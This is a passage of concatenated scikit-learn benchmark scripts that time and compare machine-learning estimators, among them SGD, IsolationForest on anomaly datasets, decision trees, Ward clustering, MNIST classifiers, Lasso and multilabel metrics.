          "".format(X_train.nnz / np.product(X_train.shape)))
    print("y_train {0}".format(y_train.shape))
    print("X_test {0}".format(X_test.shape))
    print("X_test.format = {0}".format(X_test.format))
    print("X_test.dtype = {0}".format(X_test.dtype))
    print("y_test {0}".format(y_test.shape))
    print()

    print("Classifier Training")
    print("===================")
    accuracy, train_time, test_time = {}, {}, {}
    for name in sorted(args["estimators"]):
        clf = ESTIMATORS[name]
        try:
            clf.set_params(random_state=0)
        except (TypeError, ValueError):
            pass

        print("Training %s ... " % name, end="")
        t0 = time()
        clf.fit(X_train, y_train)
        train_time[name] = time() - t0
        t0 = time()
        y_pred = clf.predict(X_test)
        test_time[name] = time() - t0
        accuracy[name] = accuracy_score(y_test, y_pred)
        print("done")

    print()
    print("Classification performance:")
    print("===========================")
    print()
    print("%s %s %s %s" % ("Classifier  ", "train-time", "test-time",
                           "Accuracy"))
    print("-" * 44)
    for name in sorted(accuracy, key=accuracy.get):
        print("%s %s %s %s" % (name.ljust(16),
                               ("%.4fs" % train_time[name]).center(10),
                               ("%.4fs" % test_time[name]).center(10),
                               ("%.4f" % accuracy[name]).center(10)))

    print()






"""
Benchmark SGD prediction time with dense/sparse coefficients.

Invoke with
-----------

$ kernprof.py -l sparsity_benchmark.py
$ python -m line_profiler sparsity_benchmark.py.lprof

Typical output
--------------

input data sparsity: 0.050000
true coef sparsity: 0.000100
test data sparsity: 0.027400
model sparsity: 0.000024
r^2 on test data (dense model) : 0.233651
r^2 on test data (sparse model) : 0.233651
Wrote profile results to sparsity_benchmark.py.lprof
Timer unit: 1e-06 s

File: sparsity_benchmark.py
Function: benchmark_dense_predict at line 51
Total time: 0.532979 s

Line #      Hits         Time  Per Hit   % Time  Line Contents
==============================================================
    51                                           @profile
    52                                           def benchmark_dense_predict():
    53       301          640      2.1      0.1      for _ in range(300):
    54       300       532339   1774.5     99.9          clf.predict(X_test)

File: sparsity_benchmark.py
Function: benchmark_sparse_predict at line 56
Total time: 0.39274 s

Line #      Hits         Time  Per Hit   % Time  Line Contents
==============================================================
    56                                           @profile
    57                                           def benchmark_sparse_predict():
    58         1        10854  10854.0      2.8      X_test_sparse = csr_matrix(X_test)
    59       301          477      1.6      0.1      for _ in range(300):
    60       300       381409   1271.4     97.1          clf.predict(X_test_sparse)
"""

from scipy.sparse.csr import csr_matrix
import numpy as np
from sklearn.linear_model.stochastic_gradient import SGDRegressor
from sklearn.metrics import r2_score

np.random.seed(42)


def sparsity_ratio(X):
    return np.count_nonzero(X) / float(n_samples * n_features)

n_samples, n_features = 5000, 300
X = np.random.randn(n_samples, n_features)
inds = np.arange(n_samples)
np.random.shuffle(inds)
X[inds[int(n_features / 1.2):]] = 0  # sparsify input
print("input data sparsity: %f" % sparsity_ratio(X))
coef = 3 * np.random.randn(n_features)
inds = np.arange(n_features)
np.random.shuffle(inds)
coef[inds[n_features/2:]] = 0  # sparsify coef
print("true coef sparsity: %f" % sparsity_ratio(coef))
y = np.dot(X, coef)

# add noise
y += 0.01 * np.random.normal((n_samples,))

# Split data in train set and test set
n_samples = X.shape[0]
X_train, y_train = X[:n_samples / 2], y[:n_samples / 2]
X_test, y_test = X[n_samples / 2:], y[n_samples / 2:]
print("test data sparsity: %f" % sparsity_ratio(X_test))

###############################################################################
clf = SGDRegressor(penalty='l1', alpha=.2, fit_intercept=True, n_iter=2000)
clf.fit(X_train, y_train)
print("model sparsity: %f" % sparsity_ratio(clf.coef_))


def benchmark_dense_predict():
    for _ in range(300):
        clf.predict(X_test)


def benchmark_sparse_predict():
    X_test_sparse = csr_matrix(X_test)
    for _ in range(300):
        clf.predict(X_test_sparse)


def score(y_test, y_pred, case):
    r2 = r2_score(y_test, y_pred)
    print("r^2 on test data (%s) : %f" % (case, r2))

score(y_test, clf.predict(X_test), 'dense model')
benchmark_dense_predict()
clf.sparsify()
score(y_test, clf.predict(X_test), 'sparse model')
benchmark_sparse_predict()






"""
==========================================
IsolationForest benchmark
==========================================

A test of IsolationForest on classical anomaly detection datasets.

"""
print(__doc__)

from time import time
import numpy as np
import matplotlib.pyplot as plt
from sklearn.ensemble import IsolationForest
from sklearn.metrics import roc_curve, auc
from sklearn.datasets import fetch_kddcup99, fetch_covtype, fetch_mldata
from sklearn.preprocessing import LabelBinarizer
from sklearn.utils import shuffle as sh

np.random.seed(1)

datasets = ['http', 'smtp', 'SA', 'SF', 'shuttle', 'forestcover']

fig_roc, ax_roc = plt.subplots(1, 1, figsize=(8, 5))


for dat in datasets:
    # loading and vectorization
    print('loading data')
    if dat in ['http', 'smtp', 'SA', 'SF']:
        dataset = fetch_kddcup99(subset=dat, shuffle=True, percent10=True)
        X = dataset.data
        y = dataset.target

    if dat == 'shuttle':
        dataset = fetch_mldata('shuttle')
        X = dataset.data
        y = dataset.target
        X, y = sh(X, y)
        # we remove data with label 4
        # normal data are then those of class 1
        s = (y != 4)
        X = X[s, :]
        y = y[s]
        y = (y != 1).astype(int)

    if dat == 'forestcover':
        dataset = fetch_covtype(shuffle=True)
        X = dataset.data
        y = dataset.target
        # normal data are those with attribute 2
        # abnormal those with attribute 4
        s = (y == 2) + (y == 4)
        X = X[s, :]
        y = y[s]
        y = (y != 2).astype(int)

    print('vectorizing data')

    if dat == 'SF':
        lb = LabelBinarizer()
        lb.fit(X[:, 1])
        x1 = lb.transform(X[:, 1])
        X = np.c_[X[:, :1], x1, X[:, 2:]]
        y = (y != 'normal.').astype(int)

    if dat == 'SA':
        lb = LabelBinarizer()
        lb.fit(X[:, 1])
        x1 = lb.transform(X[:, 1])
        lb.fit(X[:, 2])
        x2 = lb.transform(X[:, 2])
        lb.fit(X[:, 3])
        x3 = lb.transform(X[:, 3])
        X = np.c_[X[:, :1], x1, x2, x3, X[:, 4:]]
        y = (y != 'normal.').astype(int)

    if dat == 'http' or dat == 'smtp':
        y = (y != 'normal.').astype(int)

    n_samples, n_features = X.shape
    n_samples_train = n_samples // 2

    X = X.astype(float)
    X_train = X[:n_samples_train, :]
    X_test = X[n_samples_train:, :]
    y_train = y[:n_samples_train]
    y_test = y[n_samples_train:]

    print('IsolationForest processing...')
    model = IsolationForest(n_jobs=-1)
    tstart = time()
    model.fit(X_train)
    fit_time = time() - tstart
    tstart = time()

    scoring = - model.decision_function(X_test)  # the lower, the more normal

    # Show score histograms
    fig, ax = plt.subplots(3, sharex=True, sharey=True)
    bins = np.linspace(-0.5, 0.5, 200)
    ax[0].hist(scoring, bins, color='black')
    ax[0].set_title('decision function for %s dataset' % dat)
    ax[0].legend(loc="lower right")
    ax[1].hist(scoring[y_test == 0], bins, color='b',
               label='normal data')
    ax[1].legend(loc="lower right")
    ax[2].hist(scoring[y_test == 1], bins, color='r',
               label='outliers')
    ax[2].legend(loc="lower right")

    # Show ROC Curves
    predict_time = time() - tstart
    fpr, tpr, thresholds = roc_curve(y_test, scoring)
    AUC = auc(fpr, tpr)
    label = ('%s (area: %0.3f, train-time: %0.2fs, '
             'test-time: %0.2fs)' % (dat, AUC, fit_time, predict_time))
    ax_roc.plot(fpr, tpr, lw=1, label=label)


ax_roc.set_xlim([-0.05, 1.05])
ax_roc.set_ylim([-0.05, 1.05])
ax_roc.set_xlabel('False Positive Rate')
ax_roc.set_ylabel('True Positive Rate')
ax_roc.set_title('Receiver operating characteristic (ROC) curves')
ax_roc.legend(loc="lower right")
fig_roc.tight_layout()
plt.show()






"""
To run this, you'll need to have installed.

  * scikit-learn

Does two benchmarks

First, we fix a training set, increase the number of
samples to classify and plot number of classified samples as a
function of time.

In the second benchmark, we increase the number of dimensions of the
training set, classify a sample and plot the time taken as a function
of the number of dimensions.
"""
import numpy as np
import matplotlib.pyplot as plt
import gc
from datetime import datetime

# to store the results
scikit_classifier_results = []
scikit_regressor_results = []

mu_second = 0.0 + 10 ** 6  # number of microseconds in a second


def bench_scikit_tree_classifier(X, Y):
    """Benchmark with scikit-learn decision tree classifier"""

    from sklearn.tree import DecisionTreeClassifier

    gc.collect()

    # start time
    tstart = datetime.now()
    clf = DecisionTreeClassifier()
    clf.fit(X, Y).predict(X)
    delta = (datetime.now() - tstart)
    # stop time

    scikit_classifier_results.append(
        delta.seconds + delta.microseconds / mu_second)


def bench_scikit_tree_regressor(X, Y):
    """Benchmark with scikit-learn decision tree regressor"""

    from sklearn.tree import DecisionTreeRegressor

    gc.collect()

    # start time
    tstart = datetime.now()
    clf = DecisionTreeRegressor()
    clf.fit(X, Y).predict(X)
    delta = (datetime.now() - tstart)
    # stop time

    scikit_regressor_results.append(
        delta.seconds + delta.microseconds / mu_second)


if __name__ == '__main__':

    print('============================================')
    print('Warning: this is going to take a looong time')
    print('============================================')

    n = 10
    step = 10000
    n_samples = 10000
    dim = 10
    n_classes = 10
    for i in range(n):
        print('============================================')
        print('Entering iteration %s of %s' % (i, n))
        print('============================================')
        n_samples += step
        X = np.random.randn(n_samples, dim)
        Y = np.random.randint(0, n_classes, (n_samples,))
        bench_scikit_tree_classifier(X, Y)
        Y = np.random.randn(n_samples)
        bench_scikit_tree_regressor(X, Y)

    xx = range(0, n * step, step)
    plt.figure('scikit-learn tree benchmark results')
    plt.subplot(211)
    plt.title('Learning with varying number of samples')
    plt.plot(xx, scikit_classifier_results, 'g-', label='classification')
    plt.plot(xx, scikit_regressor_results, 'r-', label='regression')
    plt.legend(loc='upper left')
    plt.xlabel('number of samples')
    plt.ylabel('Time (s)')

    scikit_classifier_results = []
    scikit_regressor_results = []
    n = 10
    step = 500
    start_dim = 500
    n_classes = 10

    dim = start_dim
    for i in range(0, n):
        print('============================================')
        print('Entering iteration %s of %s' % (i, n))
        print('============================================')
        dim += step
        X = np.random.randn(100, dim)
        Y = np.random.randint(0, n_classes, (100,))
        bench_scikit_tree_classifier(X, Y)
        Y = np.random.randn(100)
        bench_scikit_tree_regressor(X, Y)

    xx = np.arange(start_dim, start_dim + n * step, step)
    plt.subplot(212)
    plt.title('Learning in high dimensional spaces')
    plt.plot(xx, scikit_classifier_results, 'g-', label='classification')
    plt.plot(xx, scikit_regressor_results, 'r-', label='regression')
    plt.legend(loc='upper left')
    plt.xlabel('number of dimensions')
    plt.ylabel('Time (s)')
    plt.axis('tight')
    plt.show()






# Author: Mathieu Blondel <mathieu@mblondel.org>
# License: BSD 3 clause
import time

import matplotlib.pyplot as plt

from sklearn.utils import check_random_state
from sklearn.metrics.pairwise import pairwise_distances
from sklearn.metrics.pairwise import pairwise_kernels

def plot(func):
    random_state = check_random_state(0)
    one_core = []
    multi_core = []
    sample_sizes = range(1000, 6000, 1000)

    for n_samples in sample_sizes:
        X = random_state.rand(n_samples, 300)

        start = time.time()
        func(X, n_jobs=1)
        one_core.append(time.time() - start)

        start = time.time()
        func(X, n_jobs=-1)
        multi_core.append(time.time() - start)

    plt.figure('scikit-learn parallel %s benchmark results' % func.__name__)
    plt.plot(sample_sizes, one_core, label="one core")
    plt.plot(sample_sizes, multi_core, label="multi core")
    plt.xlabel('n_samples')
    plt.ylabel('Time (s)')
    plt.title('Parallel %s' % func.__name__)
    plt.legend()


def euclidean_distances(X, n_jobs):
    return pairwise_distances(X, metric="euclidean", n_jobs=n_jobs)


def rbf_kernels(X, n_jobs):
    return pairwise_kernels(X, metric="rbf", n_jobs=n_jobs, gamma=0.1)

plot(euclidean_distances)
plot(rbf_kernels)
plt.show()






"""
Benchmark scikit-learn's Ward implement compared to SciPy's
"""

import time

import numpy as np
from scipy.cluster import hierarchy
import matplotlib.pyplot as plt

from sklearn.cluster import AgglomerativeClustering

ward = AgglomerativeClustering(n_clusters=3, linkage='ward')

n_samples = np.logspace(.5, 3, 9)
n_features = np.logspace(1, 3.5, 7)
N_samples, N_features = np.meshgrid(n_samples,
                                    n_features)
scikits_time = np.zeros(N_samples.shape)
scipy_time = np.zeros(N_samples.shape)

for i, n in enumerate(n_samples):
    for j, p in enumerate(n_features):
        X = np.random.normal(size=(n, p))
        t0 = time.time()
        ward.fit(X)
        scikits_time[j, i] = time.time() - t0
        t0 = time.time()
        hierarchy.ward(X)
        scipy_time[j, i] = time.time() - t0

ratio = scikits_time / scipy_time

plt.figure("scikit-learn Ward's method benchmark results")
plt.imshow(np.log(ratio), aspect='auto', origin="lower")
plt.colorbar()
plt.contour(ratio, levels=[1, ], colors='k')
plt.yticks(range(len(n_features)), n_features.astype(np.int))
plt.ylabel('N features')
plt.xticks(range(len(n_samples)), n_samples.astype(np.int))
plt.xlabel('N samples')
plt.title("Scikit's time, in units of scipy time (log)")
plt.show()






"""
=======================
MNIST dataset benchmark
=======================

Benchmark on the MNIST dataset.  The dataset comprises 70,000 samples
and 784 features. Here, we consider the task of predicting
10 classes -  digits from 0 to 9 from their raw images. By contrast to the
covertype dataset, the feature space is homogenous.

Example of output :
    [..]

    Classification performance:
    ===========================
    Classifier               train-time   test-time   error-rate
    ------------------------------------------------------------
    MLP_adam                     53.46s       0.11s       0.0224
    Nystroem-SVM                112.97s       0.92s       0.0228
    MultilayerPerceptron         24.33s       0.14s       0.0287
    ExtraTrees                   42.99s       0.57s       0.0294
    RandomForest                 42.70s       0.49s       0.0318
    SampledRBF-SVM              135.81s       0.56s       0.0486
    LinearRegression-SAG         16.67s       0.06s       0.0824
    CART                         20.69s       0.02s       0.1219
    dummy                         0.00s       0.01s       0.8973
"""
from __future__ import division, print_function

# Author: Issam H. Laradji
#         Arnaud Joly <arnaud.v.joly@gmail.com>
# License: BSD 3 clause

import os
from time import time
import argparse
import numpy as np

from sklearn.datasets import fetch_mldata
from sklearn.datasets import get_data_home
from sklearn.ensemble import ExtraTreesClassifier
from sklearn.ensemble import RandomForestClassifier
from sklearn.dummy import DummyClassifier
from sklearn.externals.joblib import Memory
from sklearn.kernel_approximation import Nystroem
from sklearn.kernel_approximation import RBFSampler
from sklearn.metrics import zero_one_loss
from sklearn.pipeline import make_pipeline
from sklearn.svm import LinearSVC
from sklearn.tree import DecisionTreeClassifier
from sklearn.utils import check_array
from sklearn.linear_model import LogisticRegression
from sklearn.neural_network import MLPClassifier

# Memoize the data extraction and memory map the resulting
# train / test splits in readonly mode
memory = Memory(os.path.join(get_data_home(), 'mnist_benchmark_data'),
                mmap_mode='r')


@memory.cache
def load_data(dtype=np.float32, order='F'):
    """Load the data, then cache and memmap the train/test split"""
    ######################################################################
    # Load dataset
    print("Loading dataset...")
    data = fetch_mldata('MNIST original')
    X = check_array(data['data'], dtype=dtype, order=order)
    y = data["target"]

    # Normalize features
    X = X / 255

    # Create train-test split (as [Joachims, 2006])
    print("Creating train-test split...")
    n_train = 60000
    X_train = X[:n_train]
    y_train = y[:n_train]
    X_test = X[n_train:]
    y_test = y[n_train:]

    return X_train, X_test, y_train, y_test


ESTIMATORS = {
    "dummy": DummyClassifier(),
    'CART': DecisionTreeClassifier(),
    'ExtraTrees': ExtraTreesClassifier(n_estimators=100),
    'RandomForest': RandomForestClassifier(n_estimators=100),
    'Nystroem-SVM': make_pipeline(
        Nystroem(gamma=0.015, n_components=1000), LinearSVC(C=100)),
    'SampledRBF-SVM': make_pipeline(
        RBFSampler(gamma=0.015, n_components=1000), LinearSVC(C=100)),
    'LinearRegression-SAG': LogisticRegression(solver='sag', tol=1e-1, C=1e4),
    'MultilayerPerceptron': MLPClassifier(
        hidden_layer_sizes=(100, 100), max_iter=400, alpha=1e-4,
        algorithm='sgd', learning_rate_init=0.2, momentum=0.9, verbose=1,
        tol=1e-4, random_state=1),
    'MLP-adam': MLPClassifier(
        hidden_layer_sizes=(100, 100), max_iter=400, alpha=1e-4,
        algorithm='adam', learning_rate_init=0.001, verbose=1,
        tol=1e-4, random_state=1)
}


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('--classifiers', nargs="+",
                        choices=ESTIMATORS, type=str,
                        default=['ExtraTrees', 'Nystroem-SVM'],
                        help="list of classifiers to benchmark.")
    parser.add_argument('--n-jobs', nargs="?", default=1, type=int,
                        help="Number of concurrently running workers for "
                             "models that support parallelism.")
    parser.add_argument('--order', nargs="?", default="C", type=str,
                        choices=["F", "C"],
                        help="Allow to choose between fortran and C ordered "
                             "data")
    parser.add_argument('--random-seed', nargs="?", default=0, type=int,
                        help="Common seed used by random number generator.")
    args = vars(parser.parse_args())

    print(__doc__)

    X_train, X_test, y_train, y_test = load_data(order=args["order"])

    print("")
    print("Dataset statistics:")
    print("===================")
    print("%s %d" % ("number of features:".ljust(25), X_train.shape[1]))
    print("%s %d" % ("number of classes:".ljust(25), np.unique(y_train).size))
    print("%s %s" % ("data type:".ljust(25), X_train.dtype))
    print("%s %d (size=%dMB)" % ("number of train samples:".ljust(25),
                                 X_train.shape[0], int(X_train.nbytes / 1e6)))
    print("%s %d (size=%dMB)" % ("number of test samples:".ljust(25),
                                 X_test.shape[0], int(X_test.nbytes / 1e6)))

    print()
    print("Training Classifiers")
    print("====================")
    error, train_time, test_time = {}, {}, {}
    for name in sorted(args["classifiers"]):
        print("Training %s ... " % name, end="")
        estimator = ESTIMATORS[name]
        estimator_params = estimator.get_params()

        estimator.set_params(**{p: args["random_seed"]
                                for p in estimator_params
                                if p.endswith("random_state")})

        if "n_jobs" in estimator_params:
            estimator.set_params(n_jobs=args["n_jobs"])

        time_start = time()
        estimator.fit(X_train, y_train)
        train_time[name] = time() - time_start

        time_start = time()
        y_pred = estimator.predict(X_test)
        test_time[name] = time() - time_start

        error[name] = zero_one_loss(y_test, y_pred)

        print("done")

    print()
    print("Classification performance:")
    print("===========================")
    print("{0: <24} {1: >10} {2: >11} {3: >12}"
          "".format("Classifier  ", "train-time", "test-time", "error-rate"))
    print("-" * 60)
    for name in sorted(args["classifiers"], key=error.get):

        print("{0: <23} {1: >10.2f}s {2: >10.2f}s {3: >12.4f}"
              "".format(name, train_time[name], test_time[name], error[name]))

    print()






"""
To run this, you'll need to have installed.

  * glmnet-python
  * scikit-learn (of course)

Does two benchmarks

First, we fix a training set and increase the number of
samples. Then we plot the computation time as function of
the number of samples.

In the second benchmark, we increase the number of dimensions of the
training set. Then we plot the computation time as function of
the number of dimensions.

In both cases, only 10% of the features are informative.
"""
import numpy as np
import gc
from time import time
from sklearn.datasets.samples_generator import make_regression

alpha = 0.1
# alpha = 0.01


def rmse(a, b):
    return np.sqrt(np.mean((a - b) ** 2))


def bench(factory, X, Y, X_test, Y_test, ref_coef):
    gc.collect()

    # start time
    tstart = time()
    clf = factory(alpha=alpha).fit(X, Y)
    delta = (time() - tstart)
    # stop time

    print("duration: %0.3fs" % delta)
    print("rmse: %f" % rmse(Y_test, clf.predict(X_test)))
    print("mean coef abs diff: %f" % abs(ref_coef - clf.coef_.ravel()).mean())
    return delta


if __name__ == '__main__':
    from glmnet.elastic_net import Lasso as GlmnetLasso
    from sklearn.linear_model import Lasso as ScikitLasso
    # Delayed import of matplotlib.pyplot
    import matplotlib.pyplot as plt

    scikit_results = []
    glmnet_results = []
    n = 20
    step = 500
    n_features = 1000
    n_informative = n_features / 10
    n_test_samples = 1000
    for i in range(1, n + 1):
        print('==================')
        print('Iteration %s of %s' % (i, n))
        print('==================')

        X, Y, coef_ = make_regression(
            n_samples=(i * step) + n_test_samples, n_features=n_features,
            noise=0.1, n_informative=n_informative, coef=True)

        X_test = X[-n_test_samples:]
        Y_test = Y[-n_test_samples:]
        X = X[:(i * step)]
        Y = Y[:(i * step)]

        print("benchmarking scikit-learn: ")
        scikit_results.append(bench(ScikitLasso, X, Y, X_test, Y_test, coef_))
        print("benchmarking glmnet: ")
        glmnet_results.append(bench(GlmnetLasso, X, Y, X_test, Y_test, coef_))

    plt.clf()
    xx = range(0, n * step, step)
    plt.title('Lasso regression on sample dataset (%d features)' % n_features)
    plt.plot(xx, scikit_results, 'b-', label='scikit-learn')
    plt.plot(xx, glmnet_results, 'r-', label='glmnet')
    plt.legend()
    plt.xlabel('number of samples to classify')
    plt.ylabel('Time (s)')
    plt.show()

    # now do a benchmark where the number of points is fixed
    # and the variable is the number of features

    scikit_results = []
    glmnet_results = []
    n = 20
    step = 100
    n_samples = 500

    for i in range(1, n + 1):
        print('==================')
        print('Iteration %02d of %02d' % (i, n))
        print('==================')
        n_features = i * step
        n_informative = n_features / 10

        X, Y, coef_ = make_regression(
            n_samples=(i * step) + n_test_samples, n_features=n_features,
            noise=0.1, n_informative=n_informative, coef=True)

        X_test = X[-n_test_samples:]
        Y_test = Y[-n_test_samples:]
        X = X[:n_samples]
        Y = Y[:n_samples]

        print("benchmarking scikit-learn: ")
        scikit_results.append(bench(ScikitLasso, X, Y, X_test, Y_test, coef_))
        print("benchmarking glmnet: ")
        glmnet_results.append(bench(GlmnetLasso, X, Y, X_test, Y_test, coef_))

    xx = np.arange(100, 100 + n * step, step)
    plt.figure('scikit-learn vs. glmnet benchmark results')
    plt.title('Regression in high dimensional spaces (%d samples)' % n_samples)
    plt.plot(xx, scikit_results, 'b-', label='scikit-learn')
    plt.plot(xx, glmnet_results, 'r-', label='glmnet')
    plt.legend()
    plt.xlabel('number of features')
    plt.ylabel('Time (s)')
    plt.axis('tight')
    plt.show()






#!/usr/bin/env python
"""
A comparison of multilabel target formats and metrics over them
"""
from __future__ import division
from __future__ import print_function

from timeit import timeit
from functools import partial
import itertools
import argparse
import sys

import matplotlib.pyplot as plt
import scipy.sparse as sp
import numpy as np

from sklearn.datasets import make_multilabel_classification
from sklearn.metrics import (f1_score, accuracy_score, hamming_loss,
                             jaccard_similarity_score)
from sklearn.utils.testing import ignore_warnings


METRICS = {
    'f1': partial(f1_score, average='micro'),
    'f1-by-sample': partial(f1_score, average='samples'),
    'accuracy': accuracy_score,
    'hamming': hamming_loss,
    'jaccard': jaccard_similarity_score,
}

FORMATS = {
    'sequences': lambda y: [list(np.flatnonzero(s)) for s in y],
    'dense': lambda y: y,
    'csr': lambda y: sp.csr_matrix(y),
    'csc': lambda y: sp.csc_matrix(y),
}


@ignore_warnings
def benchmark(metrics=tuple(v for k, v in sorted(METRICS.items())),
              formats=tuple(v for k, v in sorted(FORMATS.items())),
              samples=1000, classes=4, density=.2,
              n_times=5):
    """Times metric calculations for a number of inputs

    Parameters
    ----------
    metrics : array-like of callables (1d or 0d)
        The metric functions to time.

    formats : array-like of callables (1d or 0d)
        These may transform a dense indicator matrix into multilabel
        representation.

    samples : array-like of ints (1d or 0d)
        The number of samples to generate as input.

    classes : array-like of ints (1d or 0d)
        The number of classes in the input.

    density : array-like of ints (1d or 0d)
        The density of positive labels in the input.

    n_times : int
        Time calling the metric n_times times.

    Returns
    -------
    array of floats shaped like (metrics, formats, samples, classes, density)
        Time in seconds.
    """
    metrics = np.atleast_1d(metrics)
    samples = np.atleast_1d(samples)
    classes = np.atleast_1d(classes)
    density = np.atleast_1d(density)
    formats = np.atleast_1d(formats)
    out = np.zeros((len(metrics), len(formats), len(samples), len(classes),
                    len(density)), dtype=float)
    it = itertools.product(samples, classes, density)
    for i, (s, c, d) in enumerate(it):
        _, y_true = make_multilabel_classification(n_samples=s, n_features=1,
                                                   n_classes=c, n_labels=d * c,
                                                   random_state=42)
        _, y_pred = make_multilabel_classification(n_samples=s, n_features=1,
                                                   n_classes=c, n_labels=d * c,
                                                   random_state=84)
        for j, f in enumerate(formats):
            f_true = f(y_true)
            f_pred = f(y_pred)
            for k, metric in enumerate(metrics):
                t = timeit(partial(metric, f_true, f_pred), number=n_times)

                out[k, j].flat[i] = t
    return out


def _tabulate(results, metrics, formats):
    """Prints results by metric and format

    Uses the last ([-1]) value of other fields
    """
    column_width = max(max(len(k) for k in formats) + 1, 8)
    first_width = max(len(k) for k in metrics)
    head_fmt = ('{:<{fw}s}' + '{:>{cw}s}' * len(formats))
    row_fmt = ('{:<{fw}s}' + '{:>{cw}.3f}' * len(formats))
    print(head_fmt.format('Metric', *formats,
                          cw=column_width, fw=first_width))
    for metric, row in zip(metrics, results[:, :, -1, -1, -1]):
        print(row_fmt.format(metric, *row,
                             cw=column_width, fw=first_width))


def _plot(results, metrics, formats, title, x_ticks, x_label,
          format_markers=('x', '|', 'o', '+'),
          metric_colors=('c', 'm', 'y', 'k', 'g', 'r', 'b')):
    """
    Plot the results by metric, format and some other variable given by
    x_label
    """
    fig = plt.figure('scikit-learn multilabel metrics benchmarks')
    plt.title(title)
    ax = fig.add_subplot(111)
    for i, metric in enumerate(metrics):
        for j, format in enumerate(formats):
            ax.plot(x_ticks, results[i, j].flat,
                    label='{}, {}'.format(metric, format),
                    marker=format_markers[j],
                    color=metric_colors[i % len(metric_colors)])
    ax.set_xlabel(x_label)
    ax.set_ylabel('Time (s)')
    ax.legend()
    plt.show()


if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument('metrics', nargs='*', default=sorted(METRICS),
                    help='Specifies metrics to benchmark, defaults to all. '
                         'Choices are: {}'.format(sorted(METRICS)))
    ap.add_argument('--formats', nargs='+', choices=sorted(FORMATS),
                    help='Specifies multilabel formats to benchmark '
                         '(defaults to all).')
    ap.add_argument('--samples', type=int, default=1000,
                    help='The number of samples to generate')
    ap.add_argument('--classes', type=int, default=10,
                    help='The number of classes')
    ap.add_argument('--density', type=float, default=.2,
                    help='The average density of labels per sample')
    ap.add_argument('--plot', choices=['classes', 'density', 'samples'],
                    default=None,
                    help='Plot time with respect to this parameter varying '
                         'up to the specified value')
    ap.add_argument('--n-steps', default=10, type=int,
                    help='Plot this many points for each metric')
    ap.add_argument('--n-times',
                    default=5, type=int,
                    help="Time performance over n_times trials")
    args = ap.parse_args()

    if args.plot is not None:
        max_val = getattr(args, args.plot)
        if args.plot in ('classes', 'samples'):
            min_val = 2
        else:
            min_val = 0
        steps = np.linspace(min_val, max_val, num=args.n_steps + 1)[1:]
        if args.plot in ('classes', 'samples'):
            steps = np.unique(np.round(steps).astype(int))
        setattr(args, args.plot, steps)

    if args.metrics is None:
        args.metrics = sorted(METRICS)
    if args.formats is None:
        args.formats = sorted(FORMATS)

    results = benchmark([METRICS[k] for k in args.metrics],
                        [FORMATS[k] for k in args.formats],
                        args.samples, args.classes, args.density,
                        args.n_times)

    _tabulate(results, args.metrics, args.formats)

    if args.plot is not None:
        print('Displaying plot', file=sys.stderr)
        title = ('Multilabel metrics with %s' %
                 ', '.join('{0}={1}'.format(field, getattr(args, field))
                           for field in ['samples', 'classes', 'density']
                           if args.plot != field))
        _plot(results, args.metrics, args.formats, title, steps, args.plot)






"""
A comparison of different methods in GLM

Data comes from a random square matrix.

"""
from datetime import datetime
import numpy as np
from sklearn import linear_model
from sklearn.utils.bench import total_seconds


if __name__ == '__main__':

    import matplotlib.pyplot as plt

    n_iter = 40

    time_ridge = np.empty(n_iter)
    time_ols = np.empty(n_iter)
    time_lasso = np.empty(n_iter)

    dimensions = 500 * np.arange(1, n_iter + 1)

    for i in range(n_iter):

        print('Iteration %s of %s' % (i, n_iter))

        n_samples, n_features = 10 * i + 3, 10 * i + 3

        X = np.random.randn(n_samples, n_features)
        Y = np.random.randn(n_samples)

        start = datetime.now()
        ridge = linear_model.Ridge(alpha=1.)
        ridge.fit(X, Y)
        time_ridge[i] = total_seconds(datetime.now() - start)

        start = datetime.now()
        ols = linear_model.LinearRegression()
        ols.fit(X, Y)
        time_ols[i] = total_seconds(datetime.now() - start)

        start = datetime.now()
        lasso = linear_model.LassoLars()
        lasso.fit(X, Y)
        time_lasso[i] = total_seconds(datetime.now() - start)

    plt.figure('scikit-learn GLM benchmark results')
    plt.xlabel('Dimensions')
    plt.ylabel('Time (s)')
    plt.plot(dimensions, time_ridge, color='r')
    plt.plot(dimensions, time_ols, color='g')
    plt.plot(dimensions, time_lasso, color='b')

    plt.legend(['Ridge', 'OLS', 'LassoLars'], loc='upper left')
    plt.axis('tight')
    plt.show()






"""
Benchmark for SGD regression

Compares SGD regression against coordinate descent and Ridge
on synthetic data.
"""

print(__doc__)

# Author: Peter Prettenhofer <peter.prettenhofer@gmail.com>
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

import gc

from time import time

from sklearn.linear_model import Ridge, SGDRegressor, ElasticNet
from sklearn.metrics import mean_squared_error
from sklearn.datasets.samples_generator import make_regression

if __name__ == "__main__":
    list_n_samples = np.linspace(100, 10000, 5).astype(np.int)
    list_n_features = [10, 100, 1000]
    n_test = 1000
    noise = 0.1
    alpha = 0.01
    sgd_results = np.zeros((len(list_n_samples), len(list_n_features), 2))
    elnet_results = np.zeros((len(list_n_samples), len(list_n_features), 2))
    ridge_results = np.zeros((len(list_n_samples), len(list_n_features), 2))
    asgd_results = np.zeros((len(list_n_samples), len(list_n_features), 2))
    for i, n_train in enumerate(list_n_samples):
        for j, n_features in enumerate(list_n_features):
            X, y, coef = make_regression(
                n_samples=n_train + n_test, n_features=n_features,
                noise=noise, coef=True)

            X_train = X[:n_train]
            y_train = y[:n_train]
            X_test = X[n_train:]
            y_test = y[n_train:]

            print("=======================")
            print("Round %d %d" % (i, j))
            print("n_features:", n_features)
            print("n_samples:", n_train)

            # Shuffle data
            idx = np.arange(n_train)
            np.random.seed(13)
            np.random.shuffle(idx)
            X_train = X_train[idx]
            y_train = y_train[idx]

            std = X_train.std(axis=0)
            mean = X_train.mean(axis=0)
            X_train = (X_train - mean) / std
            X_test = (X_test - mean) / std

            std = y_train.std(axis=0)
            mean = y_train.mean(axis=0)
            y_train = (y_train - mean) / std
            y_test = (y_test - mean) / std

            gc.collect()
            print("- benchmarking ElasticNet")
            clf = ElasticNet(alpha=alpha, l1_ratio=0.5, fit_intercept=False)
            tstart = time()
            clf.fit(X_train, y_train)
            elnet_results[i, j, 0] = mean_squared_error(clf.predict(X_test),
                                                       y_test)
            elnet_results[i, j, 1] = time() - tstart

            gc.collect()
            print("- benchmarking SGD")
            n_iter = np.ceil(10 ** 4.0 / n_train)
            clf = SGDRegressor(alpha=alpha / n_train, fit_intercept=False,
                               n_iter=n_iter, learning_rate="invscaling",
